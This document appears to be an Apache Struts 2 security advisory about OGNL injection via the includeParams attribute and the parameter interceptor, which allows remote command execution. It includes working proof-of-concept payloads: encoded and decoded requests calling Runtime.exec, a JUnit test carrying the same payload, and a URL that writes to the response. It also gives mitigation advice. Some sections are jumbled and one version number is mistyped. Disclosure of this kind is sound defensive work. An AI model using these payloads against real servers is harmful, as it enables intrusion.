Summary
Excerpt |
---|
...
A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution |
Who should read this | All Struts 2 developers |
---|---|
Impact of vulnerability | Remote command execution |
Maximum security rating | Critical |
Recommendation | Developers should immediately upgrade to at least Struts 2.3.14. |
Affected Software | Struts 2.0.0 - Struts 2.3.14.1 |
---|---|
Reporter |
The Struts Team |
Original Description
Reported directly to security@a.o
Problem
CVE Identifier |
---|
Problem
Both the s:url and s:a tag provide an includeParams attribute.
The main scope of that attribute is to understand whether includes http request parameter or not.
The allowed values of includeParams are:
- none - include no parameters in the URL (default)
- get - include only GET parameters in the URL
- all - include both GET and POST parameters in the URL
A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into the stack, afterward used as request parameter of an URL or A tag , which will OGNL provides, among other features, extensive expression evaluation capabilities. The vulnerability allows a malicious user to inject OGNL code into a property, then a further assignment of the property cause a further evaluation.
OGNL evaluation was already addressed in S2-003 and S2-005 and S2-009, but, since it involved just the parameter's name, it turned out that the resulting fix based on whitelisting acceptable parameter names closed the vulnerability only partially.
Wiki Markup |
---|
This time, there is no way to whitelist parameter value,
----------------------------------------- (to be continue)
Regular expression in ParametersInterceptor matches top\['foo'\](0) as a valid expression, which OGNL treats as (top\['foo'\])(0) and evaluates the value of 'foo' action parameter as an OGNL expression. This lets malicious users put arbitrary OGNL statements into any String variable exposed by an action and have it evaluated as an OGNL expression and since OGNL statement is in HTTP parameter value attacker can use blacklisted characters (e.g. #) to disable method execution and execute arbitrary methods, bypassing the ParametersInterceptor and OGNL library protections. |
Proof of concept
Code Block | ||
---|---|---|
| ||
public class FooAction {
private String foo;
public String execute() {
return "success";
}
public String getFoo() {
return foo;
}
public void setFoo(String foo) {
this.foo = foo;
}
}
|
Here's an actual decoded example, which will create /tmp/PWNAGE directory:
No Format |
---|
/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true
|
encoded version:
No Format |
---|
/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
|
And the JUnit version
Code Block | ||
---|---|---|
| ||
public class FooActionTest extends org.apache.struts2.StrutsJUnit4TestCase<FooAction> {
@Test
public void testExecute() throws Exception {
request.setParameter("foo", "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new " +
"java.lang.Boolean(false), #_memberAccess[\"allowStaticMethodAccess\"]= new java.lang.Boolean(true), " +
"@java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)");
request.setParameter("top['foo'](0)", "true");
String res = this.executeAction("/example/foo.action");
FooAction action = this.getAction();
File pwn = new File("/tmp/PWNAGE");
Assert.assertFalse("Remote exploit: The PWN folder has been created", pwn.exists());
}
}
|
Solution
The regex pattern inside the ParameterInterceptor was changed to provide a more narrow space of acceptable parameter names.
Furthermore the new setParameter method provided by the value stack will allow no more eval expression inside the param names.
The second evaluation happens when the URL/A tag tries to resolve every parameters present in the original request.
This lets malicious users put arbitrary OGNL statements into any request parameter (not necessarily managed by the code) and have it evaluated as an OGNL expression to enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.
Proof of concept
Open HelloWorld.jsp present in the Struts Blank App and add to one of the url/a tag the following parameter:
Code Block includeParams="all"
Such that the line will be something look like this:
Code Block xml xml <s:url id="url" action="HelloWorld" includeParams="all">
(it works also with includeParams="get").
- Run struts2-blank app
- Open the url: http://localhost:8080/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
(this is the shortened version http://goo.gl/lhlTl)
As you will notice, in this case, there is no way to escape/sanitize the fakeParam, since it's not an expected parameter.
Solution
The OGNLUtil class was changed to deny eval expressions by default.
Note | |||||||
---|---|---|---|---|---|---|---|
| |||||||
In case you need to restore the old behavior, you need to define the following constant, inside your struts configuration (use it at your own risk).
Please, ensure that:
|
Warning |
---|
It is strongly recommended to upgrade to at least Struts 2.3.114.2, which contains the corrected OGNL and XWork library. |
In case an upgrade isn't possible in a particular environment, there is a configuration based mitigation workaround:
...
. |
...
The following additional interceptor-ref configuration should mitigate the problem when applied correctly, allowing only simple navigational expression:
Code Block |
---|
<interceptor-ref name="params">
<param name="acceptParamNames">\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param>
</interceptor-ref>
|
Note | ||
---|---|---|
title | title | Beware that the above pattern breaks the type conversion support for collection and map (those parameter names should be attached to acceptParamNames variable). |